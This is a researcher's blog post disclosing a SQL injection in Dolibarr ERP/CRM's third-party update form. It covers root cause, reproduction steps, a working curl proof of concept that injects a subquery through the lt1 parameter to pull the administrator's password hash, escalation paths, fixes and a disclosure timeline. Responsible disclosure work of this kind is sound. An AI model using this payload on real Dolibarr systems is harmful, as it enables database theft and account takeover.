Back to blog

CVE-2026-33944 SQL Injection in Dolibarr ERP/CRM — Third Party Update

June 16, 2026 Grzegorz Tworek 12 min read

SQL Injection in Dolibarr ERP/CRM v23.0.0 — the localtax1_value parameter reaches an SQL UPDATE query directly, without sanitization. Full database exfiltration, including administrator password hashes. CVSS 3.1: 8.8 (HIGH).

CVE-2026-33944 SQL Injection in Dolibarr ERP/CRM — Third Party Update

CVE-2026-33944 — SQL Injection in Dolibarr ERP/CRM via localtax1_value parameter

Responsible Disclosure: The vulnerability was reported to the Dolibarr team through a GitHub Security Advisory and acknowledged by the vendor. A fix was publicly released before the publication of this article. At the time of publication, GitHub Security Advisory GHSA-v5fq-cf5m-vwv7 remains unpublished despite the fix being available. Researcher: Grzegorz Tworek (Sec4check). If you run Dolibarr, make sure your instance has been updated.

Summary

During independent security research, I identified an SQL Injection vulnerability in the third-party (contractor) update function in Dolibarr ERP/CRM. The vulnerability affects the latest version v23.0.0 and likely all earlier versions as well. Reproduction was carried out on a clean, default Dolibarr installation (the official Docker image) with MariaDB 10.11.

The core of the problem: the lt1 parameter (local tax 1 value) is passed from user input directly into an SQL UPDATE query in the file societe/class/societe.class.php on line 1672 — with no escaping, type casting, or query parameterization whatsoever.

Notably, adjacent fields in the same SQL query (e.g. localtax1_assuj) are correctly cast to (int) or escaped via $db->escape(), which indicates that the developers were aware of the injection risk but did not apply the same protection to the tax-value fields.

TypeCWE-89: SQL Injection
ProductDolibarr ERP/CRM
Tested versionv23.0.0 (latest stable, March 2026)
PlatformDocker (official dolibarr/dolibarr image), MariaDB 10.11
Componentsociete/card.php + societe/class/societe.class.php
Attack vectorNetwork (authenticated POST request)
User interactionNone (the attacker exploits it directly)
CVSS 3.18.8 HIGH
CVSS vectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Technical analysis

Root Cause

The vulnerability lives in the file societe/class/societe.class.php. The data flow looks as follows:

1. Input (societe/card.php, line 1135):

$object->localtax1_value = GETPOST('lt1', 'alpha');

2. Sanitization (societe.class.php, line 1528) — insufficient:

$this->localtax1_value = trim($this->localtax1_value); // Only trim()!

3. SQL sink (societe.class.php, line 1672) — direct concatenation:

$sql .= ",localtax1_value =".$this->localtax1_value; // No escape, no casting!

The alpha input filter strips HTML tags and double quotes, but it does not strip single quotes, parentheses, commas, spaces, or SQL keywords. Because the injection point sits in a numeric SQL context (the value is not wrapped in quotes), the attacker does not need any of the characters that the filter removes.

Key observation: The Dolibarr WAF (waf.inc.php) checks for SQL injection patterns only in GET parameters, not POST. The lt1 parameter sent via POST bypasses the WAF entirely. The same vulnerability exists for localtax2_value (the lt2 parameter) on line 1682.

Reproduction steps

  1. Install Dolibarr v23.0.0 (tested with the official Docker image, MariaDB 10.11)
  2. Log in as a user with the "Third parties: Create/Edit" permission (a standard user, not an admin)
  3. Create or open any third-party (contractor) record
  4. Click "Edit" to open the update form
  5. Intercept the POST request (e.g. with Burp Suite) and add the following parameters to the body:
    localtax1assuj_value=1
    lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
  6. Submit the form (the server responds with HTTP 302 Found — the update succeeded)
  7. Go to the third party's "Notes" tab — the administrator's password MD5 hash is now visible in the "Note (private)" field

Verification: echo -n "admin123" | md5sum0192023a7bbd73250516f069df18b500 (identical to the extracted hash).

PoC (curl)

curl -b cookies.txt \ --data-urlencode "action=update" \ --data-urlencode "token=CSRF_TOKEN" \ --data-urlencode "socid=1" \ --data-urlencode "name=TestCompany" \ --data-urlencode "status=1" \ --data-urlencode "localtax1assuj_value=1" \ --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \ --data-urlencode "client=1" \ --data-urlencode "typent_id=0" \ "http://TARGET/societe/card.php?socid=1"

Evidence

Test environment: Dolibarr v23.0.0, official Docker image, MariaDB 10.11, macOS host.

Before exploitation — Notes tab (empty field)

Dolibarr Notes tab before exploitation — Private Note field is empty

Notes tab before exploitation — the "Note (private)" field is empty. Dolibarr v23.0.0, default configuration.

Burp Suite Repeater — POST request headers and the 302 response

Burp Suite Repeater showing full POST request headers and HTTP 302 Found response

Burp Suite Repeater — the full POST request to /societe/card.php with an HTTP/1.1 302 Found response confirming the update succeeded.

Burp Suite Repeater — the payload in the request body

Burp Suite Repeater showing injected localtax1assuj_value and lt1 parameters with SQL subquery

The request body with the injected parameters: localtax1assuj_value=1 (line 181) and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1) (line 187). The SQL subquery is passed without sanitization.

After exploitation — administrator password hash in the Note (private) field

Dolibarr Notes tab after exploitation — Private Note contains admin password MD5 hash 0192023a7bbd73250516f069df18b500

Notes tab after exploitation — "Note (private)" contains 0192023a7bbd73250516f069df18b500, the MD5 hash of the administrator password ("admin123"), extracted from llx_user.pass_crypted via SQL injection.

Additional arithmetic evidence

Arithmetic evaluation: Sending lt1=3+4 causes localtax1_value=7.0000 to be stored in the database. The expression 3+4 was evaluated by the SQL engine rather than stored as a literal string — unambiguous proof of SQL injection.

Impact Assessment

An attacker holding the basic "Third parties: Create/Edit" permission (a standard user, not an administrator) can fully compromise the Dolibarr instance:

Full database read

Extraction of arbitrary data from the database: password hashes (pass_crypted), API keys (api_key), customer and supplier data, invoices, bank account details, internal notes.

Data modification

Injecting additional SET clauses into the UPDATE query allows modification of arbitrary records in the database — as demonstrated with the note_private field.

Privilege escalation

Extracting and cracking the administrator password hashes. Dolibarr uses unsalted MD5 by default, which makes cracking trivial (rainbow tables, hashcat).

Potential RCE

After escalating to admin — access to the Website module (PHP injection) or ModuleBuilder (writing PHP files). Potentially also via MariaDB functions (INTO OUTFILE, UDF).

CVSS 3.1 — detailed scoring

MetricValue
Attack VectorNetwork — exploited over HTTP POST
Attack ComplexityLow — no special conditions
Privileges RequiredLow — a standard user with the third-party edit permission
User InteractionNone — the attacker exploits the endpoint directly
ScopeUnchanged — impact limited to the Dolibarr application
ConfidentialityHigh — full database read (passwords, business data)
IntegrityHigh — ability to modify any record via injection
AvailabilityHigh — ability to DROP tables or corrupt critical data

CVSS 3.1 Score: 8.8 (HIGH)
Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Recommended remediation

Required fixes:

  1. Type casting on input (societe.class.php, line 1528):
    $this->localtax1_value = (float) price2num(trim($this->localtax1_value));
  2. Type casting in the SQL query (societe.class.php, line 1672):
    $sql .= ",localtax1_value =".((float) $this->localtax1_value);
  3. Analogous fixes for localtax2_value (lines 1529 and 1682)

Additional recommendations: extend the WAF to check for SQLi patterns in POST parameters, and change the password hashing algorithm from unsalted MD5 to bcrypt/argon2 to reduce the impact of future vulnerabilities that allow data exfiltration.

Disclosure Timeline

DateEvent
2026-03-20Discovery of the vulnerability during independent security research
2026-03-20Reported via GitHub Security Advisory (GHSA-v5fq-cf5m-vwv7)
2026-03-23Vendor acknowledged the report
2026-03-25GitHub assigned CVE-2026-33944
2026-05-26Vendor released a fix in Dolibarr 22.0.5 (release notes reference GHSA-v5fq-cf5m-vwv7)
2026-06-16Article published after the fix was released
2026-06-16GitHub Security Advisory still remains unpublished

Conclusions

This vulnerability is a textbook example of inconsistent input sanitization — one of the most common patterns leading to SQL injection. The developers applied correct (int) casting to the localtax1_assuj field in the same block of code, but overlooked the tax-value fields, likely on the assumption that the alpha filter provided sufficient protection.

This case illustrates several key principles:

  • Defense in depth — a WAF that only checks GET is not enough; every layer must assume the previous one failed
  • Query parameterization — string concatenation in SQL queries is never safe, regardless of input filters
  • Consistency of defensive mechanisms — if you cast the type in one field, you must do it in every field of the same context
  • Auditing the code "around" fixes — finding one safe field should prompt you to check every adjacent field

Key takeaway: Input filters (like alpha) are not a substitute for SQL query parameterization. In a numeric SQL context (no quotes), the attacker does not need any "special" characters — letters, parentheses, and commas, which most filters let through, are enough.

Looking for vulnerabilities in your application?

As an independent security researcher and penetration tester, I help organizations identify and eliminate vulnerabilities before attackers do. I offer professional web application penetration testing aligned with OWASP ASVS.

Book a free consultation
Back to blog